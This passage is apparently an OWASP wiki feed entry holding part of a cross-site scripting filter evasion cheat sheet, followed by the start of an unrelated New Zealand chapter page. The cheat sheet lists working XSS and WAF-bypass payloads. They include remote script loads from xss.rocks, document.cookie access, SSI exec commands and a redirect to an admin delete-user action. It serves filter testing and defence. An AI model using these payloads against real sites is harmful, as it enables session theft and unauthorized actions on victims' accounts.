This XSS attack works only in IE and Netscape 8.1 in IE rendering engine mode) - vector found by Sec Consult while auditing Yahoo:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;XML ID=&amp;quot;xss&amp;quot;&amp;gt;&amp;lt;I&amp;gt;&amp;lt;B&amp;gt;&amp;amp;lt;IMG SRC=&amp;quot;javas&amp;lt;!-- --&amp;gt;cript:alert('XSS')&amp;quot;&amp;amp;gt;&amp;lt;/B&amp;gt;&amp;lt;/I&amp;gt;&amp;lt;/XML&amp;gt;&lt;br /&gt;
&amp;lt;SPAN DATASRC=&amp;quot;#xss&amp;quot; DATAFLD=&amp;quot;B&amp;quot; DATAFORMATAS=&amp;quot;HTML&amp;quot;&amp;gt;&amp;lt;/SPAN&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Locally hosted XML with embedded JavaScript that is generated using an XML data island ==&lt;br /&gt;
This is the same as above but instead referrs to a locally hosted (must be on the same server) XML file that contains your cross site scripting vector. You can see the result here:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;XML SRC=&amp;quot;xsstest.xml&amp;quot; ID=I&amp;gt;&amp;lt;/XML&amp;gt;&lt;br /&gt;
&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== HTML+TIME in XML ==&lt;br /&gt;
This is how Grey Magic hacked Hotmail and Yahoo!. This only works in Internet Explorer and Netscape 8.1 in IE rendering engine mode and remember that you need to be between HTML and BODY tags for this to work:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;HTML&amp;gt;&amp;lt;BODY&amp;gt;&lt;br /&gt;
&amp;lt;?xml:namespace prefix=&amp;quot;t&amp;quot; ns=&amp;quot;urn:schemas-microsoft-com:time&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?import namespace=&amp;quot;t&amp;quot; implementation=&amp;quot;#default#time2&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;t:set attributeName=&amp;quot;innerHTML&amp;quot; to=&amp;quot;XSS&amp;amp;lt;SCRIPT DEFER&amp;amp;gt;alert(&amp;amp;quot;XSS&amp;amp;quot;)&amp;amp;lt;/SCRIPT&amp;amp;gt;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;/BODY&amp;gt;&amp;lt;/HTML&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Assuming you can only fit in a few characters and it filters against &amp;quot;.js&amp;quot; ==&lt;br /&gt;
you can rename your JavaScript file to an image as an XSS vector:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;SCRIPT SRC=&amp;quot;http:&amp;amp;#47;&amp;amp;#47;xss.rocks/xss.jpg&amp;quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== SSI (Server Side Includes)== &lt;br /&gt;
This requires SSI to be installed on the server to use this XSS vector. I probably don't need to mention this, but if you can run commands on the server there are no doubt much more serious issues:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;!--#exec cmd=&amp;quot;/bin/echo '&amp;lt;SCR'&amp;quot;--&amp;gt;&amp;lt;!--#exec cmd=&amp;quot;/bin/echo 'IPT SRC=http://xss.rocks/xss.js&amp;gt;&amp;lt;/SCRIPT&amp;gt;'&amp;quot;--&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== PHP ==&lt;br /&gt;
Requires PHP to be installed on the server to use this XSS vector. Again, if you can run any scripts remotely like this, there are probably much more dire issues:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;? echo('&amp;lt;SCR)';&lt;br /&gt;
echo('IPT&amp;gt;alert(&amp;quot;XSS&amp;quot;)&amp;lt;/SCRIPT&amp;gt;'); ?&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== IMG Embedded commands ==&lt;br /&gt;
This works when the webpage where this is injected (like a web-board) is behind password protection and that password protection works with other commands on the same domain. This can be used to delete users, add users (if the user who visits the page is an administrator), send credentials elsewhere, etc.... This is one of the lesser used but more useful XSS vectors:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;IMG SRC=&amp;quot;http:&amp;amp;#47;&amp;amp;#47;www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== IMG Embedded commands part II ===&lt;br /&gt;
This is more scary because there are absolutely no identifiers that make it look suspicious other than it is not hosted on your own domain. The vector uses a 302 or 304 (others work too) to redirect the image back to a command. So a normal &amp;amp;lt;IMG SRC=&amp;quot;httx://badguy.com/a.jpg&amp;quot;&amp;amp;gt; could actually be an attack vector to run commands as the user who views the image link. Here is the .htaccess (under Apache) line to accomplish the vector (thanks to Timo for part of this):&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;Redirect 302 /a.jpg http://victimsite.com/admin.asp&amp;amp;deleteuser&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Cookie manipulation ==&lt;br /&gt;
Admittedly this is pretty obscure but I have seen a few examples where &amp;lt;META is allowed and you can use it to overwrite cookies. There are other examples of sites where instead of fetching the username from a database it is stored inside of a cookie to be displayed only to the user who visits the page. With these two scenarios combined you can modify the victim's cookie which will be displayed back to them as JavaScript (you can also use this to log people out or change their user states, get them to log in as you, etc...):&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;META HTTP-EQUIV=&amp;quot;Set-Cookie&amp;quot; Content=&amp;quot;USERID=&amp;amp;lt;SCRIPT&amp;amp;gt;alert('XSS')&amp;amp;lt;/SCRIPT&amp;amp;gt;&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== UTF-7 encoding ==&lt;br /&gt;
If the page that the XSS resides on doesn't provide a page charset header, or any browser that is set to UTF-7 encoding can be exploited with the following (Thanks to Roman Ivanov for this one). Click here for an example (you don't need the charset statement if the user's browser is set to auto-detect and there is no overriding content-types on the page in Internet Explorer and Netscape 8.1 in IE rendering engine mode). This does not work in any modern browser without changing the encoding type which is why it is marked as completely unsupported. Watchfire found this hole in Google's custom 404 script.: &lt;br /&gt;
  &amp;lt;nowiki&amp;gt;&amp;lt;HEAD&amp;gt;&amp;lt;META HTTP-EQUIV=&amp;quot;CONTENT-TYPE&amp;quot; CONTENT=&amp;quot;text/html; charset=UTF-7&amp;quot;&amp;gt; &amp;lt;/HEAD&amp;gt;+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== XSS using HTML quote encapsulation ==&lt;br /&gt;
This was tested in IE, your mileage may vary. For performing XSS on sites that allow &amp;quot;&amp;lt;SCRIPT&amp;gt;&amp;quot; but don't allow &amp;quot;&amp;lt;SCRIPT SRC...&amp;quot; by way of a regex filter &amp;quot;/&amp;lt;script[^&amp;gt;]+src/i&amp;quot;:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;SCRIPT a=&amp;quot;&amp;gt;&amp;quot; SRC=&amp;quot;httx://xss.rocks/xss.js&amp;quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
For performing XSS on sites that allow &amp;quot;&amp;lt;SCRIPT&amp;gt;&amp;quot; but don't allow &amp;quot;&amp;lt;script src...&amp;quot; by way of a regex filter &amp;quot;/&amp;lt;script((\s+\w+(\s*=\s*(?:&amp;quot;(.)*?&amp;quot;|'(.)*?'|[^'&amp;quot;&amp;gt;\s]+))?)+\s*|\s*)src/i&amp;quot; (this is an important one, because I've seen this regex in the wild):&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;SCRIPT =&amp;quot;&amp;gt;&amp;quot; SRC=&amp;quot;httx://xss.rocks/xss.js&amp;quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Another XSS to evade the same filter, &amp;quot;/&amp;lt;script((\s+\w+(\s*=\s*(?:&amp;quot;(.)*?&amp;quot;|'(.)*?'|[^'&amp;quot;&amp;gt;\s]+))?)+\s*|\s*)src/i&amp;quot;:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;SCRIPT a=&amp;quot;&amp;gt;&amp;quot; '' SRC=&amp;quot;httx://xss.rocks/xss.js&amp;quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Yet another XSS to evade the same filter, &amp;quot;/&amp;lt;script((\s+\w+(\s*=\s*(?:&amp;quot;(.)*?&amp;quot;|'(.)*?'|[^'&amp;quot;&amp;gt;\s]+))?)+\s*|\s*)src/i&amp;quot;. I know I said I wasn't goint to discuss mitigation techniques but the only thing I've seen work for this XSS example if you still want to allow &amp;lt;SCRIPT&amp;gt; tags but not remote script is a state machine (and of course there are other ways to get around this if they allow &amp;lt;SCRIPT&amp;gt; tags):&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;SCRIPT &amp;quot;a='&amp;gt;'&amp;quot; SRC=&amp;quot;httx://xss.rocks/xss.js&amp;quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
And one last XSS attack to evade, &amp;quot;/&amp;lt;script((\s+\w+(\s*=\s*(?:&amp;quot;(.)*?&amp;quot;|'(.)*?'|[^'&amp;quot;&amp;gt;\s]+))?)+\s*|\s*)src/i&amp;quot; using grave accents (again, doesn't work in Firefox):&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;SCRIPT a=`&amp;gt;` SRC=&amp;quot;httx://xss.rocks/xss.js&amp;quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Here's an XSS example that bets on the fact that the regex won't catch a matching pair of quotes but will rather find any quotes to terminate a parameter string improperly:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;SCRIPT a=&amp;quot;&amp;gt;'&amp;gt;&amp;quot; SRC=&amp;quot;httx://xss.rocks/xss.js&amp;quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This XSS still worries me, as it would be nearly impossible to stop this without blocking all active content:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;SCRIPT&amp;gt;document.write(&amp;quot;&amp;lt;SCRI&amp;quot;);&amp;lt;/SCRIPT&amp;gt;PT SRC=&amp;quot;httx://xss.rocks/xss.js&amp;quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== URL string evasion ==&lt;br /&gt;
Assuming &amp;quot;http:&amp;amp;#47;&amp;amp;#47;www.google.com/&amp;quot; is pro grammatically disallowed:&lt;br /&gt;
&lt;br /&gt;
=== IP verses hostname ===&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;A HREF=&amp;quot;http:&amp;amp;#47;&amp;amp;#47;66.102.7.147/&amp;quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== URL encoding ===&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;A HREF=&amp;quot;http:&amp;amp;#47;&amp;amp;#47;%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D&amp;quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Dword encoding ===&lt;br /&gt;
(Note: there are other of variations of Dword encoding - see the IP Obfuscation calculator below for more details):&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;A HREF=&amp;quot;http:&amp;amp;#47;&amp;amp;#47;1113982867/&amp;quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Hex encoding ===&lt;br /&gt;
The total size of each number allowed is somewhere in the neighborhood of 240 total characters as you can see on the second digit, and since the hex number is between 0 and F the leading zero on the third hex quotet is not required):&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;A HREF=&amp;quot;http:&amp;amp;#47;&amp;amp;#47;0x42.0x0000066.0x7.0x93/&amp;quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Octal encoding ===&lt;br /&gt;
Again padding is allowed, although you must keep it above 4 total characters per class - as in class A, class B, etc...:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;A HREF=&amp;quot;http:&amp;amp;#47;&amp;amp;#47;0102.0146.0007.00000223/&amp;quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Mixed encoding === &lt;br /&gt;
Let's mix and match base encoding and throw in some tabs and newlines - why browsers allow this, I'll never know). The tabs and newlines only work if this is encapsulated with quotes:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;A HREF=&amp;quot;h&lt;br /&gt;
tt	p://6&amp;amp;#9;6.000146.0x7.147/&amp;quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Protocol resolution bypass ===&lt;br /&gt;
(// translates to http:// which saves a few more bytes). This is really handy when space is an issue too (two less characters can go a long way) and can easily bypass regex like &amp;quot;(ht|f)tp(s)?://&amp;quot; (thanks to Ozh for part of this one). You can also change the &amp;quot;//&amp;quot; to &amp;quot;\\&amp;quot;. You do need to keep the slashes in place, however, otherwise this will be interpreted as a relative path URL.&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;A HREF=&amp;quot;//www.google.com/&amp;quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Google &amp;quot;feeling lucky&amp;quot; part 1. ===&lt;br /&gt;
Firefox uses Google's &amp;quot;feeling lucky&amp;quot; function to redirect the user to any keywords you type in. So if your exploitable page is the top for some random keyword (as you see here) you can use that feature against any Firefox user. This uses Firefox's &amp;quot;keyword:&amp;quot; protocol. You can concatenate several keywords by using something like the following &amp;quot;keyword:XSS+RSnake&amp;quot; for instance. This no longer works within Firefox as of 2.0. &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;A HREF=&amp;quot;//google&amp;quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Google &amp;quot;feeling lucky&amp;quot; part 2.===&lt;br /&gt;
This uses a very tiny trick that appears to work Firefox only, because if it's implementation of the &amp;quot;feeling lucky&amp;quot; function. Unlike the next one this does not work in Opera because Opera believes that this is the old HTTP Basic Auth phishing attack, which it is not. It's simply a malformed URL. If you click okay on the dialogue it will work, but as a result of the erroneous dialogue box I am saying that this is not supported in Opera, and it is no longer supported in Firefox as of 2.0:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;A HREF=&amp;quot;http:&amp;amp;#47;&amp;amp;#47;ha.ckers.org@google&amp;quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Google &amp;quot;feeling lucky&amp;quot; part 3. === &lt;br /&gt;
This uses a malformed URL that appears to work in Firefox and Opera only, because if their implementation of the &amp;quot;feeling lucky&amp;quot; function. Like all of the above it requires that you are #1 in Google for the keyword in question (in this case &amp;quot;google&amp;quot;):&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;A HREF=&amp;quot;http:&amp;amp;#47;&amp;amp;#47;google:ha.ckers.org&amp;quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Removing cnames  ===&lt;br /&gt;
When combined with the above URL, removing &amp;quot;www.&amp;quot; will save an additional 4 bytes for a total byte savings of 9 for servers that have this set up properly):&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;A HREF=&amp;quot;http:&amp;amp;#47;&amp;amp;#47;google.com/&amp;quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Extra dot for absolute DNS:===&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;A HREF=&amp;quot;http:&amp;amp;#47;&amp;amp;#47;www.google.com./&amp;quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== JavaScript link location: ===&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;A HREF=&amp;quot;javascript:document.location='http://www.google.com/'&amp;quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Content replace as attack vector ===&lt;br /&gt;
Assuming &amp;quot;http:&amp;amp;#47;&amp;amp;#47;www.google.com/&amp;quot; is programmatically replaced with nothing). I actually used a similar attack vector against a several separate real world XSS filters by using the conversion filter itself (here is an example) to help create the attack vector (IE: &amp;quot;java&amp;amp;#x26;#x09;script:&amp;quot; was converted into &amp;quot;java&amp;amp;#x09;script:&amp;quot;, which renders in IE, Netscape 8.1+ in secure site mode and Opera):&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;A HREF=&amp;quot;http://www.google.com/ogle.com/&amp;quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Character escape sequences ==&lt;br /&gt;
All the possible combinations of the character &amp;quot;&amp;lt;&amp;quot; in HTML and JavaScript. Most of these won't render out of the box, but many of them can get rendered in certain circumstances as seen above.&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;&lt;br /&gt;
 %3C&lt;br /&gt;
 &amp;amp;amp;lt&lt;br /&gt;
 &amp;amp;amp;lt;&lt;br /&gt;
 &amp;amp;amp;LT&lt;br /&gt;
 &amp;amp;amp;LT;&lt;br /&gt;
 &amp;amp;amp;#60&lt;br /&gt;
 &amp;amp;amp;#060&lt;br /&gt;
 &amp;amp;amp;#0060&lt;br /&gt;
 &amp;amp;amp;#00060&lt;br /&gt;
 &amp;amp;amp;#000060&lt;br /&gt;
 &amp;amp;amp;#0000060&lt;br /&gt;
 &amp;amp;amp;#60;&lt;br /&gt;
 &amp;amp;amp;#060;&lt;br /&gt;
 &amp;amp;amp;#0060;&lt;br /&gt;
 &amp;amp;amp;#00060;&lt;br /&gt;
 &amp;amp;amp;#000060;&lt;br /&gt;
 &amp;amp;amp;#0000060;&lt;br /&gt;
 &amp;amp;amp;#x3c&lt;br /&gt;
 &amp;amp;amp;#x03c&lt;br /&gt;
 &amp;amp;amp;#x003c&lt;br /&gt;
 &amp;amp;amp;#x0003c&lt;br /&gt;
 &amp;amp;amp;#x00003c&lt;br /&gt;
 &amp;amp;amp;#x000003c&lt;br /&gt;
 &amp;amp;amp;#x3c;&lt;br /&gt;
 &amp;amp;amp;#x03c;&lt;br /&gt;
 &amp;amp;amp;#x003c;&lt;br /&gt;
 &amp;amp;amp;#x0003c;&lt;br /&gt;
 &amp;amp;amp;#x00003c;&lt;br /&gt;
 &amp;amp;amp;#x000003c;&lt;br /&gt;
 &amp;amp;amp;#X3c&lt;br /&gt;
 &amp;amp;amp;#X03c&lt;br /&gt;
 &amp;amp;amp;#X003c&lt;br /&gt;
 &amp;amp;amp;#X0003c&lt;br /&gt;
 &amp;amp;amp;#X00003c&lt;br /&gt;
 &amp;amp;amp;#X000003c&lt;br /&gt;
 &amp;amp;amp;#X3c;&lt;br /&gt;
 &amp;amp;amp;#X03c;&lt;br /&gt;
 &amp;amp;amp;#X003c;&lt;br /&gt;
 &amp;amp;amp;#X0003c;&lt;br /&gt;
 &amp;amp;amp;#X00003c;&lt;br /&gt;
 &amp;amp;amp;#X000003c;&lt;br /&gt;
 &amp;amp;amp;#x3C&lt;br /&gt;
 &amp;amp;amp;#x03C&lt;br /&gt;
 &amp;amp;amp;#x003C&lt;br /&gt;
 &amp;amp;amp;#x0003C&lt;br /&gt;
 &amp;amp;amp;#x00003C&lt;br /&gt;
 &amp;amp;amp;#x000003C&lt;br /&gt;
 &amp;amp;amp;#x3C;&lt;br /&gt;
 &amp;amp;amp;#x03C;&lt;br /&gt;
 &amp;amp;amp;#x003C;&lt;br /&gt;
 &amp;amp;amp;#x0003C;&lt;br /&gt;
 &amp;amp;amp;#x00003C;&lt;br /&gt;
 &amp;amp;amp;#x000003C;&lt;br /&gt;
 &amp;amp;amp;#X3C&lt;br /&gt;
 &amp;amp;amp;#X03C&lt;br /&gt;
 &amp;amp;amp;#X003C&lt;br /&gt;
 &amp;amp;amp;#X0003C&lt;br /&gt;
 &amp;amp;amp;#X00003C&lt;br /&gt;
 &amp;amp;amp;#X000003C&lt;br /&gt;
 &amp;amp;amp;#X3C;&lt;br /&gt;
 &amp;amp;amp;#X03C;&lt;br /&gt;
 &amp;amp;amp;#X003C;&lt;br /&gt;
 &amp;amp;amp;#X0003C;&lt;br /&gt;
 &amp;amp;amp;#X00003C;&lt;br /&gt;
 &amp;amp;amp;#X000003C;&lt;br /&gt;
 \x3c&lt;br /&gt;
 \x3C&lt;br /&gt;
 \u003c&lt;br /&gt;
 \u003C&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
= Methods to Bypass WAF – Cross-Site Scripting =&lt;br /&gt;
&lt;br /&gt;
General issues&amp;lt;br&amp;gt;&lt;br /&gt;
• Stored XSS&lt;br /&gt;
&lt;br /&gt;
If an attacker managed to push XSS through the filter, WAF wouldn’t be able to prevent the attack conduction.&amp;lt;br&amp;gt;&lt;br /&gt;
• Reflected XSS in Javascript&lt;br /&gt;
  Example: &amp;lt;script&amp;gt; ... setTimeout(\&amp;quot;writetitle()\&amp;quot;,$_GET[xss]) ... &amp;lt;/script&amp;gt;&lt;br /&gt;
  Exploitation: /?xss=500); alert(document.cookie);//&lt;br /&gt;
• DOM-based XSS&lt;br /&gt;
  Example: &amp;lt;script&amp;gt; ... eval($_GET[xss]); ... &amp;lt;/script&amp;gt;&lt;br /&gt;
  Exploitation: /?xss=document.cookie&lt;br /&gt;
&amp;lt;b&amp;gt;XSS via request Redirection.&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
• Vulnerable code:&lt;br /&gt;
  ...&lt;br /&gt;
  header('Location: '.$_GET['param']);&lt;br /&gt;
  ...&lt;br /&gt;
As well as:&lt;br /&gt;
  ...&lt;br /&gt;
  header('Refresh: 0; URL='.$_GET['param']);&lt;br /&gt;
  ...&lt;br /&gt;
• This request will not pass through the WAF:&lt;br /&gt;
  /?param=javascript:alert(document.cookie)&lt;br /&gt;
• This request will pass through the WAF and an XSS attack will be conducted in certain browsers.&lt;br /&gt;
  /?param=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;b&amp;gt;WAF ByPass Strings for XSS.&amp;lt;/b&amp;gt;&lt;br /&gt;
 &amp;lt;Img src = x onerror = &amp;quot;javascript: window.onerror = alert; throw XSS&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;Video&amp;gt; &amp;lt;source onerror = &amp;quot;javascript: alert (XSS)&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;Input value = &amp;quot;XSS&amp;quot; type = text&amp;gt;&lt;br /&gt;
 &amp;lt;applet code=&amp;quot;javascript:confirm(document.cookie);&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;isindex x=&amp;quot;javascript:&amp;quot; onmouseover=&amp;quot;alert(XSS)&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;”&amp;gt;’&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&lt;br /&gt;
 &amp;quot;&amp;gt;&amp;lt;img src=&amp;quot;x:x&amp;quot; onerror=&amp;quot;alert(XSS)&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;quot;&amp;gt;&amp;lt;iframe src=&amp;quot;javascript:alert(XSS)&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;object data=&amp;quot;javascript:alert(XSS)&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;isindex type=image src=1 onerror=alert(XSS)&amp;gt;&lt;br /&gt;
 &amp;lt;img src=x:alert(alt) onerror=eval(src) alt=0&amp;gt;&lt;br /&gt;
 &amp;lt;img  src=&amp;quot;x:gif&amp;quot; onerror=&amp;quot;window['al\u0065rt'](0)&amp;quot;&amp;gt;&amp;lt;/img&amp;gt;&lt;br /&gt;
 &amp;lt;iframe/src=&amp;quot;data:text/html,&amp;lt;svg &amp;amp;#111;&amp;amp;#110;load=alert(1)&amp;gt;&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;meta content=&amp;quot;&amp;amp;NewLine; 1 &amp;amp;NewLine;; JAVASCRIPT&amp;amp;colon; alert(1)&amp;quot; http-equiv=&amp;quot;refresh&amp;quot;/&amp;gt;&lt;br /&gt;
 &amp;lt;svg&amp;gt;&amp;lt;script xlink:href=data&amp;amp;colon;,window.open('https://www.google.com/')&amp;gt;&amp;lt;/script&lt;br /&gt;
 &amp;lt;meta http-equiv=&amp;quot;refresh&amp;quot; content=&amp;quot;0;url=javascript:confirm(1)&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;iframe src=javascript&amp;amp;colon;alert&amp;amp;lpar;document&amp;amp;period;location&amp;amp;rpar;&amp;gt;&lt;br /&gt;
 &amp;lt;form&amp;gt;&amp;lt;a href=&amp;quot;javascript:\u0061lert&amp;amp;#x28;1&amp;amp;#x29;&amp;quot;&amp;gt;X&lt;br /&gt;
 &amp;lt;/script&amp;gt;&amp;lt;img/*%00/src=&amp;quot;worksinchrome&amp;amp;colon;prompt&amp;amp;#x28;1&amp;amp;#x29;&amp;quot;/%00*/onerror='eval(src)'&amp;gt;&lt;br /&gt;
 &amp;lt;style&amp;gt;//&amp;lt;!--&amp;lt;/style&amp;gt; --&amp;gt;*{x:expression(alert(/xss/))}//&amp;lt;style&amp;gt;&amp;lt;/style&amp;gt; &lt;br /&gt;
==Filter Bypass Alert Obfuscation==&lt;br /&gt;
 (alert)(1)&lt;br /&gt;
 a=alert,a(1)&lt;br /&gt;
 [1].find(alert)&lt;br /&gt;
 top[“al”+”ert”](1)&lt;br /&gt;
 top[/al/.source+/ert/.source](1)&lt;br /&gt;
 al\u0065rt(1)&lt;br /&gt;
 top[‘al\145rt’](1)&lt;br /&gt;
 top[‘al\x65rt’](1)&lt;br /&gt;
 top[8680439..toString(30)](1)&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors =&lt;br /&gt;
&lt;br /&gt;
Robert &amp;quot;RSnake&amp;quot; Hansen&lt;br /&gt;
&lt;br /&gt;
= Contributors =&lt;br /&gt;
&lt;br /&gt;
Adam Lange&amp;lt;br/&amp;gt;&lt;br /&gt;
Mishra Dhiraj&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
&lt;br /&gt;
{{Cheatsheet_Navigation_Body}}&lt;br /&gt;
[[Category:Cheatsheets]]&lt;br /&gt;
[[Category:Popular]]&lt;br /&gt;
[[Category:OWASP_Breakers]]&lt;br /&gt;
{{TOC hidden}}&lt;/div&gt;</summary>
		<author><name>Dan Wallis</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=New_Zealand&amp;diff=232498</id>
		<title>New Zealand</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=New_Zealand&amp;diff=232498"/>
				<updated>2017-08-23T03:21:57Z</updated>
		
		<summary type="html">&lt;p&gt;Dan Wallis: Adding OWASP NZ Day 2018&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Chapter Template|chaptername=New_Zealand|extra=The chapter leaders are [mailto:denis.andzakovic@owasp.org Denis Andzakovic], [mailto:kim.carter@owasp.org Kim Carter] and [mailto:kirk.jackson@owasp.org Kirk Jackson]. |mailinglistsite=http://lists.owasp.org/mailman/listinfo/owasp-newzealand|emailarchives=http://lists.owasp.org/pipermail/owasp-newzealand}}&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Chapter]]&lt;br /&gt;
&lt;br /&gt;
== Upcoming Events  ==&lt;br /&gt;
; 16 Feb 2018&lt;br /&gt;
